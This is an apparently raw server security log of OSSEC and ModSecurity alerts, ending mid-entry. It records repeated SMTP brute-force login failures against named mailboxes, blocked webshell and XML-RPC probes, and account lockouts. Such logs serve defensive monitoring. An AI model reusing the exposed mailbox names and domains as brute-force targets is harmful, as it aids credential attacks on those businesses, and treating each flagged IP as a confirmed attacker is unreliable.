2026-02-01 13:35:25 dovecot_plain authenticator failed for H=c-73-199-161-144.hsd1.nj.comcast.net (wable) [73.199.161.144]:45738: 535 Incorrect authentication data (set_id=salesi@chs.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:35:40 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:36:13 dovecot_login authenticator failed for H=(8dksgEJ) [158.94.208.175]:57661: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:36:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51444: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:36:18 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63033: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-02-01 13:36:07 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:55330: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:37:10 dovecot_login authenticator failed for H=(dRxOrwW) [158.94.208.175]:52023: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 13:37:50 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:36392: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:37:02 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53059: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-01 13:37:10 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:55694: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:38:04 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:51591: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.177.216
country_id: 1814991
description:
2026-02-01 13:38:06 dovecot_login authenticator failed for H=([111.26.177.216]) [111.26.177.216]:60272: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:38:14 dovecot_login authenticator failed for H=(oSHzE1v) [158.94.208.175]:53209: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 13:38:45 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:36634: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:38:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:50880: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.236.53.198
country_id: 1814991
description:
2026-02-01 13:38:21 dovecot_login authenticator failed for H=([115.236.53.198]) [115.236.53.198]:52352: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 13:38:28 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:40738: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.56
country_id: 2921044
description:
2026-02-01 13:39:59 dovecot_login authenticator failed for H=(qszFSbt) [158.94.208.56]:63516: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.132.185
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=508596 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:39:16 dovecot_login authenticator failed for H=(Fpc3wsL6o) [158.94.208.175]:65112: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:39:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63726: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.222.41.67
country_id: 1814991
description:
2026-02-01 13:39:26 dovecot_login authenticator failed for H=([183.222.41.67]) [183.222.41.67]:56570: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.102.188.117
country_id: 294640
description:
2026-02-01 13:39:34 dovecot_login authenticator failed for H=(82-102-188-117.orange.net.il) [82.102.188.117]:37187: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:40:06 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:53110: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:40:20 dovecot_login authenticator failed for H=(HMaSmKSu) [158.94.208.175]:54114: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:40:57 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:43512: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.217.241.190
country_id: 953987
description:
2026-02-01 13:40:12 dovecot_plain authenticator failed for H=(P756S1ACH72QLPV) [102.217.241.190]:45964: 535 Incorrect authentication data (set_id=chewkc@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:41:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58743: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:41:16 dovecot_login authenticator failed for H=(CkMhQqSPwl) [158.94.208.175]:60767: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 13:41:14 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:41:39 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64807: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.231.68.175
country_id: 1835841
domain: krisfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/moon.php||SC:/home2/krisfood/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.234.106.215
country_id: 3865483
description:
2026-02-01 13:43:00 dovecot_login authenticator failed for H=(201-234-106-215.static.impsat.net.ar) [201.234.106.215]:38671: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.211.244.232
country_id: 1814991
description:
2026-02-01 13:42:56 dovecot_login authenticator failed for H=([61.139.80.213]) [222.211.244.232]:45006: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-02-01 13:42:42 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net [111.70.22.153]:56747: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.149.43
country_id: 1880251
domain: mail.fkr.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/about.php||SC:/home2/fkrcom/public_html/index.php||


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 123.234.81.180
country_id: 1814991
description:
2026-02-01 13:42:23 224788 [Warning] Aborted connection 224788 to db: 'unconnected' user: 'unauthenticated' host: '123.234.81.180' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:42:27 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54473: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.145.5.14
country_id: 1835841
description:
2026-02-01 13:42:45 dovecot_login authenticator failed for H=([220.67.139.254]) [221.145.5.14]:51686: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:42:24 dovecot_login authenticator failed for H=(VbkXayjqng) [158.94.208.175]:57508: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 13:42:22 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 123.234.81.180
country_id: 1814991
description:
2026-02-01 13:42:23 224781 [Warning] Aborted connection 224781 to db: 'unconnected' user: 'unauthenticated' host: '123.234.81.180' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-02-01 13:42:41 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:45616: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.87.248.223
country_id: 732800
description:
2026-02-01 13:42:05 dovecot_login authenticator failed for H=95-87-248-223.ip.btc-net.bg [95.87.248.223]:33660: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 13:43:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:43:25 dovecot_login authenticator failed for H=(XmQYs3Fap) [158.94.208.175]:53467: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:43:04 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:34108: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:43:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60988: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.49.132.90
country_id: 1168579
domain: solidfence.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:13408.solidfence.com.my||ServerName:solidfence.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:74fc83b20199dc7fb52324cdbab43b14ba50725e||Title:0x32fb3026||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:44:20 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50830: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-02-01 13:44:35 224923 [Warning] Aborted connection 224923 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.10.1
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=558493 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.223.129.28
country_id: 1668284
description:
2026-02-01 13:44:47 dovecot_plain authenticator failed for H=61-223-129-28.dynamic-ip.hinet.net (GXA8DC) [61.223.129.28]:9084: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:45:13 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:41688: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.64.215
country_id: 1210997
description:
2026-02-01 13:45:23 dovecot_plain authenticator failed for H=(T8FWR3M6R) [103.67.64.215]:4240: 535 Incorrect authentication data (set_id=francis@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-02-01 13:45:49 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:46323: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:45:05 dovecot_login authenticator failed for H=(LSS02L2He) [158.94.208.175]:54510: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:45:07 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57139: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 13:45:37 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:53372: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.139.250.70
country_id: 2921044
description:
2026-02-01 13:45:50 dovecot_plain authenticator failed for H=(AM2GM97U1Z7) [82.139.250.70]:54555: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 13:45:03 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account munch has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:46:11 dovecot_login authenticator failed for H=(xZv6BV) [158.94.208.175]:50203: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:46:24 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52556: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:46:37 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52556: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.197.117.245
country_id: 6252001
description:
2026-02-01 13:46:37 dovecot_plain authenticator failed for H=(unvatles) [67.197.117.245]:50828: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 13:47:02 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:19363: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.241.150.246
country_id: 2017370
description:
2026-02-01 13:47:06 dovecot_login authenticator failed for H=91-241-150-246-dyn.neotele.com.ru [91.241.150.246]:40682: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:47:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58561: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.243.58
country_id: 1814991
description:
2026-02-01 13:47:17 dovecot_login authenticator failed for H=([218.21.243.58]) [218.21.243.58]:33674: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.33.204.130
country_id: 2017370
description:
2026-02-01 13:47:22 dovecot_login authenticator failed for H=(213.33.204.130.moscow.gldn.net) [213.33.204.130]:59028: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-02-01 13:47:39 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:42944: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:47:21 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54998: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.142.171.165
country_id: 3625428
description:
2026-02-01 13:47:30 dovecot_plain authenticator failed for H=(I7QG1XB55L1Y) [190.142.171.165]:64842: 535 Incorrect authentication data (set_id=huichieng@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:48:08 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:64227: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 13:48:33 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:49146: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.228.204.17
country_id: 2963597
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/services.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.174
country_id: 1880251
domain: www.cofreth.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET https:/www.cofreth.com.my/fonts/poppins/poppins-v5-latin-regular.woff2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:48:10 dovecot_login authenticator failed for H=(yf9h1tl0T) [158.94.208.175]:54981: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-02-01 13:48:09 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:37159: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:49:31 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55214: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 97.178.43.84
country_id: 6252001
description:
2026-02-01 13:49:43 dovecot_login authenticator failed for H=84.sub-97-178-43.myvzw.com [97.178.43.84]:36632: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.83.41.60
country_id: 3469034
description:
2026-02-01 13:49:58 dovecot_login authenticator failed for H=(170-83-41-60.swtelecom.com.br) [170.83.41.60]:49375: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:49:12 dovecot_login authenticator failed for H=(IWeXJUDO) [158.94.208.175]:49745: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:49:21 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59108: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:49:21 dovecot_login authenticator failed for H=(sKZJt9Li) [178.16.52.139]:56222: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:50:05 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:65034: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:50:15 dovecot_login authenticator failed for H=(Wi74PumX) [158.94.208.175]:53239: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:51:21 dovecot_login authenticator failed for H=(JooescM) [158.94.208.175]:57800: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:51:32 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59924: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:51:39 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:59594: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.113.27
country_id: 1835841
description:
2026-02-01 13:51:47 dovecot_login authenticator failed for H=([211.228.113.27]) [211.228.113.27]:34173: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:51:48 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59924: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:52:25 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:49659: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:52:32 dovecot_login authenticator failed for H=(VCPr3TlG) [158.94.208.175]:59954: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-02-01 13:52:32 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:60576: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.120.176.6
country_id: 1835841
description:
2026-02-01 13:52:09 dovecot_login authenticator failed for H=([222.120.176.6]) [222.120.176.6]:33808: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.170
country_id: 1269750
description:
2026-02-01 13:52:43 dovecot_login authenticator failed for H=([122.187.223.48]) [128.185.201.170]:55114: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:53:32 dovecot_login authenticator failed for H=(TuYdtdaq) [158.94.208.175]:51812: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:53:14 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56312: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:53:47 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47330: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 13:54:04 dovecot_login authenticator failed for H=(GT2dfD) [158.94.208.175]:61207: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:54:15 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62066: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 13:54:37 dovecot_login authenticator failed for H=(oEM3DGuxZW) [178.16.52.139]:62297: 535 Incorrect authentication data (set_id=cky@ahfengineering.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.146
country_id: 2635167
description:
2026-02-01 13:54:46 225418 [Warning] Aborted connection 225418 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.146' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 160.119.41.136
country_id: 953987
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=7 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 13:55:29 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57574: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 13:55:54 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:35118: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.93.159.90
country_id: 1269750
description:
2026-02-01 13:55:55 dovecot_login authenticator failed for H=([59.93.159.90]) [59.93.159.90]:51431: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
